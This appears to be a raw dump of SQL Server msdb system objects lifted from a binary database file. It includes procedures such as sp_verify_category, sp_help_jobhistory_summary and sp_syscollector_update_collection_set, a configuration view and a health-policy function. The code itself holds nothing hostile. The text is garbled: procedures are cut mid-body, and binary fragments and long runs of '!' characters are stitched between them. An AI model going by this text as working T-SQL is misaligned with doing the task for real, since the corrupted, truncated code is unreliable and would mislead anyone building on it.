    SET parameter_schema = @parameter_schema,
        parameter_formatter = @parameter_formatter,
        schema_collection = @schema_collection,
        collection_package_name = @collection_package_name,
        collection_package_folderid = @collection_package_folderid,
        upload_package_name = @upload_package_name,
        upload_package_folderid = @upload_package_folderid
    WHERE @collector_type_uid = collector_type_uid
    AND   @name = name

    IF (@TranCounter = 0)
        COMMIT TRANSACTION
    RETURN (0)
    END TRY
    BEGIN CATCH
        IF (@TranCounter = 0 OR XACT_STATE() = -1)
            ROLLBACK TRANSACTION
        ELSE IF (XACT_STATE() = 1)
            ROLLBACK TRANSACTION tran_update_collector_type

        DECLARE @ErrorMessage   NVARCHAR(4000);
        DECLARE @ErrorSeverity  INT;
        DECLARE @ErrorState     INT;
        DECLARE @ErrorNumber    INT;
        DECLARE @ErrorLine      INT;
        DECLARE @ErrorProcedure NVARCHAR(200);
        SELECT @ErrorLine = ERROR_LINE(),
               @ErrorSeverity = ERROR_SEVERITY(),
               @ErrorState = ERROR_STATE(),
               @ErrorNumber = ERROR_NUMBER(),
               @ErrorMessage = ERROR_MESSAGE(),
               @ErrorProcedure = ISNULL(ERROR_PROCEDURE(), '-');

        RAISERROR (14684, @ErrorSeverity, -1 , @ErrorNumber, @ErrorSeverity, @ErrorState, @ErrorProcedure, @ErrorLine, @ErrorMessage);

        RETURN (1)    
    END CATCH
END
0q% /8(suser_sname())!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!w`<K.O@0% %8((0))0&& +8(getdate())0PE& 8CREATE PROCEDURE sp_verify_category
  @class          VARCHAR(8),
  @type           VARCHAR(12)  = NULL, -- Supply NULL only if you don't want it checked
  @name           sysname      = NULL, -- Supply NULL only if you don't want it checked
  @category_class INT OUTPUT,
  @category_type  INT OUTPUT           -- Supply NULL only if you don't want the return value
AS
BEGIN
  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @class = LTRIM(RTRIM(@class))
  SELECT @type  = LTRIM(RTRIM(@type))
  SELECT @name  = LTRIM(RTRIM(@name))

  -- Turn [nullable] empty string parameters into NULLs
  IF (@type = '') SELECT @type = NULL
  IF (@name = N'') SELECT @name = NULL

  -- Check class
  SELECT @class = UPPER(@class collate SQL_Latin1_General_CP1_CS_AS)
  SELECT @category_class = CASE @class
                             WHEN 'JOB'      THEN 1
                             WHEN 'ALERT'    THEN 2
                             WHEN 'OPERATOR' THEN 3
                             ELSE 0
                           END
  IF (@category_class = 0)
  BEGIN
    RAISERROR(14266, -1, -1, '@class', 'JOB, ALERT, OPERATOR')
    RETURN(1) -- Failure
  END

  -- Check name
  IF ((@name IS NOT NULL) AND (@name = N'[DEFAULT]'))
  BEGIN
    RAISERROR(14200, -1, -1, '@name')
    RETURN(1) -- Failure
  END

  -- Check type [optionally]
  IF (@type IS NOT NULL)
  BEGIN
    IF (@class = 'JOB')
    BEGIN
      SELECT @type = UPPER(@type collate SQL_Latin1_General_CP1_CS_AS)
      SELECT @category_type = CASE @type
                                WHEN 'LOCAL'        THEN 1
                                WHEN 'MULTI-SERVER' THEN 2
                                ELSE 0
                              END
      IF (@category_type = 0)
      BEGIN
        RAISERROR(14266, -1, -1, '@type', 'LOCAL, MULTI-SERVER')
        RETURN(1) -- Failure
      END
    END
    ELSE
    BEGIN
      IF (@type <> 'NONE')
      BEGIN
        RAISERROR(14266, -1, -1, '@type', 'NONE')
        RETURN(1) -- Failure
      END
      ELSE
        SELECT @category_type = 3
    END
  END

  RETURN(0) -- Success
END
0e& %8((0))00& 8CREATE VIEW [dbo].[sysutility_ucp_configuration]
AS
    SELECT     
        name,
        current_value
    FROM [dbo].[sysutility_ucp_configuration_internal]
0% h8CREATE FUNCTION dbo.[fn_sysutility_ucp_get_applicable_policy](
    @rollup_object_urn NVARCHAR(4000)
    , @rollup_object_type INT
    , @target_type INT
    , @resource_type INT
    , @utilization_type INT )
RETURNS INT 
AS
BEGIN
   DECLARE @health_policy_id INT
	
    -- Check if there is an overridden policy for the rollup object
    SELECT @health_policy_id = hp.health_policy_id
    FROM msdb.dbo.sysutility_ucp_policies hp
    WHERE hp.rollup_object_urn = @rollup_object_urn
        AND hp.rollup_object_type = @rollup_object_type
        AND hp.target_type = @target_type
        AND hp.resource_type = @resource_type
        AND hp.utilization_type = @utilization_type
    
    -- If no overridden policy exist, get the global policy
    -- Check if the specific rollup_object has the global policy
    IF @health_policy_id = 0 OR @health_policy_id IS NULL
    BEGIN
		SELECT @health_policy_id = msdb.dbo.fn_sysutility_ucp_get_global_health_policy(@rollup_object_type
                                                                                , @target_type
                                                                                , @resource_type
                                                                                , @utilization_type)
    END
    
	RETURN @health_policy_id
     
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!W	|	A
`*~<+/C(.0Q. 8CREATE PROCEDURE sp_help_jobhistory_summary
               @job_id               UNIQUEIDENTIFIER,
               @job_name             sysname,
               @step_id              INT,
               @sql_message_id       INT,
               @sql_severity         INT,
               @start_run_date       INT,
               @end_run_date         INT,
               @start_run_time       INT,
               @end_run_time         INT,
               @minimum_run_duration INT,
               @run_status           INT,
               @minimum_retries      INT,
               @oldest_first         INT,
               @server               sysname,
               @mode                 VARCHAR(7),
               @order_by             INT,
               @distributed_job_history BIT
AS
-- Summary format: same WHERE clause as for full, just a different SELECT list
IF(@distributed_job_history = 1)
  SELECT sj.job_id,
     job_name = sj.name,
     sjh.last_run_outcome as run_status,
     sjh.last_run_date as run_date,
     sjh.last_run_time as run_time,
     sjh.last_run_duration as run_duration,
     null as operator_emailed,
     null as operator_netsentname,
     null as operator_paged,
     null as retries_attempted,
     sts.server_name as server
  FROM msdb.dbo.sysjobservers                sjh
  JOIN msdb.dbo.systargetservers sts ON (sts.server_id = sjh.server_id)
  JOIN msdb.dbo.sysjobs_view     sj  ON(sj.job_id = sjh.job_id)
  WHERE 
  (@job_id = sjh.job_id)
  AND ((@start_run_date       IS NULL) OR (sjh.last_run_date >= @start_run_date))
  AND ((@end_run_date         IS NULL) OR (sjh.last_run_date <= @end_run_date))
  AND ((@start_run_time       IS NULL) OR (sjh.last_run_time >= @start_run_time))
  AND ((@minimum_run_duration IS NULL) OR (sjh.last_run_duration >= @minimum_run_duration))
  AND ((@run_status           IS NULL) OR (@run_status = sjh.last_run_outcome))
  AND ((@server               IS NULL) OR (sts.server_name = @server))
ELSE
  SELECT sj.job_id,
     job_name = sj.name,
     sjh.run_status,
     sjh.run_date,
     sjh.run_time,
     sjh.run_duration,
     operator_emailed = substring(so1.name, 1, 20),
     operator_netsent = substring(so2.name, 1, 20),
     operator_paged = substring(so3.name, 1, 20),
     sjh.retries_attempted,
     sjh.server
  FROM msdb.dbo.sysjobhistory                sjh
     LEFT OUTER JOIN msdb.dbo.sysoperators so1  ON (sjh.operator_id_emailed = so1.id)
     LEFT OUTER JOIN msdb.dbo.sysoperators so2  ON (sjh.operator_id_netsent = so2.id)
     LEFT OUTER JOIN msdb.dbo.sysoperators so3  ON (sjh.operator_id_paged = so3.id),
     msdb.dbo.sysjobs_view                 sj
  WHERE (sj.job_id = sjh.job_id)
  AND ((@job_id               IS NULL) OR (@job_id = sjh.job_id))
  AND ((@step_id              IS NULL) OR (@step_id = sjh.step_id))
  AND ((@sql_message_id       IS NULL) OR (@sql_message_id = sjh.sql_message_id))
  AND ((@sql_severity         IS NULL) OR (@sql_severity = sjh.sql_severity))
  AND ((@start_run_date       IS NULL) OR (sjh.run_date >= @start_run_date))
  AND ((@end_run_date         IS NULL) OR (sjh.run_date <= @end_run_date))
  AND ((@start_run_time       IS NULL) OR (sjh.run_time >= @start_run_time))
  AND ((@end_run_time         IS NULL) OR (sjh.run_time <= @end_run_time))
  AND ((@minimum_run_duration IS NULL) OR (sjh.run_duration >= @minimum_run_duration))
  AND ((@run_status           IS NULL) OR (@run_status = sjh.run_status))
  AND ((@minimum_retries      IS NULL) OR (sjh.retries_attempted >= @minimum_retries))
  AND ((@server               IS NULL) OR (sjh.server = @server))
  ORDER BY (sjh.instance_id * @order_by)

0{/ P8CREATE DEFAULT default_current_date AS GETDATE()06e/ 48('All ad-hoc plans')0`/ 8(((datalength(isnull([recipients],''))+datalength(isnull([copy_recipients],'')))+datalength(isnull([blind_copy_recipients],'')))<>(0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Q`<(0/lTv2CREATE PROCEDURE [dbo].[sp_syscollector_update_collection_set]
    @collection_set_id        int = NULL,
    @name                    sysname = NULL,
    @new_name                sysname = NULL,
    @target                    nvarchar(128) = NULL,
    @collection_mode        smallint = NULL,         -- 0: cached, 1: non-cached
    @days_until_expiration  smallint = NULL,
    @proxy_id               int = NULL,              -- mutual exclusive; must specify either proxy_id or proxy_name to identify the proxy
    @proxy_name             sysname = NULL,          -- @proxy_name = N'' is a special case to allow change of an existing proxy with NULL
    @schedule_uid           uniqueidentifier = NULL, -- mutual exclusive; must specify either schedule_uid or schedule_name to identify the schedule
    @schedule_name          sysname = NULL,          -- @schedule_name = N'' is a special case to allow change of an existing schedule with NULL
    @logging_level            smallint = NULL,
    @description            nvarchar(4000) = NULL   -- @description = N'' is a special case to allow change of an existing description with NULL
WITH EXECUTE AS OWNER -- 'MS_DataCollectorInternalUser'
AS
BEGIN
    -- Security checks will be performed against caller's security context
    EXECUTE AS CALLER;

    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_operator'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        REVERT;
        RAISERROR(14677, -1, -1, 'dc_operator')
        RETURN (1)
    END

    -- Security checks (restrict functionality for non-dc_admin-s)
    IF (((NOT (ISNULL(IS_MEMBER(N'dc_admin'), 0) = 1)) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
        AND (@new_name IS NOT NULL))
    BEGIN
        REVERT;
        RAISERROR(14676, -1, -1, '@new_name', 'dc_admin')
        RETURN (1)
    END

    IF (((NOT (ISNULL(IS_MEMBER(N'dc_admin'), 0) = 1)) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
        AND (@target IS NOT NULL))
    BEGIN
        REVERT;
        RAISERROR(14676, -1, -1, '@target', 'dc_admin')
        RETURN (1)
    END

    IF (((NOT (ISNULL(IS_MEMBER(N'dc_admin'), 0) = 1)) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
        AND (@proxy_id IS NOT NULL))
    BEGIN
        REVERT;
        RAISERROR(14676, -1, -1, '@proxy_id', 'dc_admin')
        RETURN (1)
    END

    IF (((NOT (ISNULL(IS_MEMBER(N'dc_admin'), 0) = 1)) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
        AND (@collection_mode IS NOT NULL))
    BEGIN
        REVERT;
        RAISERROR(14676, -1, -1, '@collection_mode', 'dc_admin')
        RETURN (1)
    END

    IF (((NOT (ISNULL(IS_MEMBER(N'dc_admin'), 0) = 1)) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
        AND (@description IS NOT NULL))
    BEGIN
        REVERT;
        RAISERROR(14676, -1, -1, '@description', 'dc_admin')
        RETURN (1)
    END

    IF (((NOT (ISNULL(IS_MEMBER(N'dc_admin'), 0) = 1)) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
        AND (@days_until_expiration IS NOT NULL))
    BEGIN
        REVERT;
        RAISERROR(14676, -1, -1, '@days_until_expiration', 'dc_admin')
        RETURN (1) -- Failure
    END

    -- Security checks done, reverting now to internal data collector user security context
    REVERT;

    -- check for inconsistencies/errors in the parameters
    DECLARE @retVal int
    EXEC @retVal = dbo.sp_syscollector_verify_collection_set @collection_set_id OUTPUT, @name OUTPUT
    IF (@retVal <> 0)
        RETURN (1)

    IF (@collection_mode IS NOT NULL AND (@collection_mode < 0 OR @collection_mode > 1))
    BEGIN
        RAISERROR(14266, -1, -1, '@collection_mode', '0, 1')
        RETURN (1)
    END

    IF (@logging_level IS NOT NULL AND (@logging_level < 0 OR @logging_level > 2))
    BEGIN
        RAISERROR(14266, -1, -1, '@logging_level', '0, 1, or 2')
        RETURN(1)
    END

    IF (LEN(@new_name) = 0)
    BEGIN
      RAISERROR(21263, -1, -1, '@new_name')
      RETURN(1) -- Failure
    END    

    -- Remove any leading/trailing spaces from parameters
    SET @target                    = NULLIF(LTRIM(RTRIM(@target)), N'')
    SET @new_name                = NULLIF(LTRIM(RTRIM(@new_name)), N'')
    SET @description            = LTRIM(RTRIM(@description))
    
    DECLARE @is_system                    bit
    DECLARE @is_running                    bit
    DECLARE @collection_set_uid            uniqueidentifier
    DECLARE @old_collection_mode        smallint
    DECLARE @old_upload_job_id            uniqueidentifier
    DECLARE @old_collection_job_id        uniqueidentifier
    DECLARE @old_proxy_id                int

    SELECT    @is_running = is_running,
            @is_system = is_system,
            @collection_set_uid = collection_set_uid,
            @old_collection_mode = collection_mode,
            @old_collection_job_id = collection_job_id, 
            @old_upload_job_id = upload_job_id,
            @old_proxy_id = proxy_id
    FROM dbo.syscollector_collection_sets
    WHERE collection_set_id = @collection_set_id

    IF (@is_system = 1 AND (
            @new_name IS NOT NULL OR 
            @description IS NOT NULL))
    BEGIN
        -- cannot update, delete, or add new collection items to a system collection set
        RAISERROR(14696, -1, -1);
        RETURN (1)
    END
    
    IF (@proxy_id IS NOT NULL) OR (@proxy_name IS NOT NULL AND @proxy_name <> N'')
    BEGIN
